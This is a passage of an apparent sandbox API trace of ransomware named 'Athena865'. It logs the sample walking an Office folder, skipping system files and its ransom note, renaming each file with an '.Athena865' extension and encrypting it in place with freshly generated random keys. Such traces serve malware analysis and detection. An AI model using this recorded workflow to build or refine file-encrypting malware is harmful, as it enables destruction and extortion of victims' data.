RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.740] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.740] CloseHandle (hObject=0x154) returned 1 [0146.740] CloseHandle (hObject=0x17c) returned 1 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.740] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10d78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SGRES.DLL", cAlternateFileName="")) returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2=".") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="..") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="windows") returned -1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="bootmgr") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="temp") returned -1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="pagefile.sys") returned 1 [0146.740] lstrcmpiW (lpString1="SGRES.DLL", lpString2="boot") returned 1 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2="ids.txt") returned 1 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2="ntuser.dat") returned 1 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2="perflogs") returned 1 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2="MSBuild") returned 1 [0146.741] lstrlenW (lpString="SGRES.DLL") returned 9 [0146.741] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SGRES.DLL" | out: lpString1="SGRES.DLL") returned="SGRES.DLL" [0146.741] lstrlenW (lpString="SGRES.DLL") returned 9 [0146.741] lstrlenW (lpString="Athena865") returned 9 [0146.741] lstrlenW (lpString=".dll") returned 4 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2=".dll") returned 1 [0146.741] lstrlenW (lpString=".lnk") returned 4 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2=".lnk") returned 1 [0146.741] lstrlenW (lpString=".ini") returned 4 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2=".ini") returned 1 [0146.741] lstrlenW (lpString=".sys") returned 4 [0146.741] lstrcmpiW (lpString1="SGRES.DLL", lpString2=".sys") returned 1 [0146.741] lstrlenW (lpString="SGRES.DLL") returned 9 [0146.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.Athena865") returned 67 [0146.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.athena865"), dwFlags=0x1) returned 1 [0146.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.743] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68984) returned 1 [0146.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.744] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.744] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.744] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.745] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11080, lpName=0x0) returned 0x154 [0146.746] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11080) returned 0x100000 [0146.749] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.750] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.750] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.751] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.751] CloseHandle (hObject=0x154) returned 1 [0146.751] CloseHandle (hObject=0x17c) returned 1 [0146.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.752] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba4cc00, ftCreationTime.dwHighDateTime=0x1cab7e0, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ba4cc00, ftLastWriteTime.dwHighDateTime=0x1cab7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SGRES.DLL.IDX_DLL", cAlternateFileName="SGRESD~1.IDX")) returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2=".") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="..") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="windows") returned -1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="temp") returned -1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="pagefile.sys") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="boot") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="perflogs") returned 1 [0146.752] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0146.752] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0146.752] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SGRES.DLL.IDX_DLL" | out: lpString1="SGRES.DLL.IDX_DLL") returned="SGRES.DLL.IDX_DLL" [0146.752] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0146.752] lstrlenW (lpString="Athena865") returned 9 [0146.752] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0146.752] lstrlenW (lpString=".dll") returned 4 [0146.753] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2=".dll") returned 1 [0146.753] lstrlenW (lpString=".lnk") returned 4 [0146.753] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0146.753] lstrlenW (lpString=".ini") returned 4 [0146.753] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2=".ini") returned 1 [0146.753] lstrlenW (lpString=".sys") returned 4 [0146.753] lstrcmpiW (lpString1="SGRES.DLL.IDX_DLL", lpString2=".sys") returned 1 [0146.753] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0146.753] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.Athena865") returned 75 [0146.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0146.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.755] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11648) returned 1 [0146.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.755] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.756] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.756] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.756] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3080, lpName=0x0) returned 0x154 [0146.757] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3080) returned 0x100000 [0146.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.759] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.759] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.760] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.760] CloseHandle (hObject=0x154) returned 1 [0146.760] CloseHandle (hObject=0x17c) returned 1 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SHAPNUM.VSL", cAlternateFileName="")) returned 1 [0146.760] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.760] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.760] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2=".") returned 1 [0146.760] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="..") returned 1 [0146.760] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="windows") returned -1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="bootmgr") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="temp") returned -1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="pagefile.sys") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="boot") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="ids.txt") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="ntuser.dat") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="perflogs") returned 1 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2="MSBuild") returned 1 [0146.761] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0146.761] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SHAPNUM.VSL" | out: lpString1="SHAPNUM.VSL") returned="SHAPNUM.VSL" [0146.761] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0146.761] lstrlenW (lpString="Athena865") returned 9 [0146.761] lstrcmpiW (lpString1="APNUM.VSL", lpString2="Athena865") returned -1 [0146.761] lstrlenW (lpString=".dll") returned 4 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2=".dll") returned 1 [0146.761] lstrlenW (lpString=".lnk") returned 4 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2=".lnk") returned 1 [0146.761] lstrlenW (lpString=".ini") returned 4 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2=".ini") returned 1 [0146.761] lstrlenW (lpString=".sys") returned 4 [0146.761] lstrcmpiW (lpString1="SHAPNUM.VSL", lpString2=".sys") returned 1 [0146.761] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0146.761] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.Athena865") returned 69 [0146.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.athena865"), dwFlags=0x1) returned 1 [0146.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.763] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42352) returned 1 [0146.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.764] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.764] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.764] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa870, lpName=0x0) returned 0x154 [0146.766] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa870) returned 0x100000 [0146.768] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.768] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.768] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.769] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.770] CloseHandle (hObject=0x154) returned 1 [0146.770] CloseHandle (hObject=0x17c) returned 1 [0146.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.770] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY.CSS", cAlternateFileName="")) returned 1 [0146.770] lstrcmpiW (lpString1="SKY.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.770] lstrcmpiW (lpString1="SKY.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.770] lstrcmpiW (lpString1="SKY.CSS", lpString2=".") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="..") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="windows") returned -1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="bootmgr") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="temp") returned -1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="pagefile.sys") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="boot") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="ids.txt") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="ntuser.dat") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="perflogs") returned 1 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2="MSBuild") returned 1 [0146.771] lstrlenW (lpString="SKY.CSS") returned 7 [0146.771] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SKY.CSS" | out: lpString1="SKY.CSS") returned="SKY.CSS" [0146.771] lstrlenW (lpString="SKY.CSS") returned 7 [0146.771] lstrlenW (lpString="Athena865") returned 9 [0146.771] lstrlenW (lpString=".dll") returned 4 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2=".dll") returned 1 [0146.771] lstrlenW (lpString=".lnk") returned 4 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2=".lnk") returned 1 [0146.771] lstrlenW (lpString=".ini") returned 4 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2=".ini") returned 1 [0146.771] lstrlenW (lpString=".sys") returned 4 [0146.771] lstrcmpiW (lpString1="SKY.CSS", lpString2=".sys") returned 1 [0146.771] lstrlenW (lpString="SKY.CSS") returned 7 [0146.771] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.Athena865") returned 65 [0146.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.athena865"), dwFlags=0x1) returned 1 [0146.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.775] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.776] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.776] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.776] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.778] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.779] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.779] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.779] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.780] RtlAllocateHeap 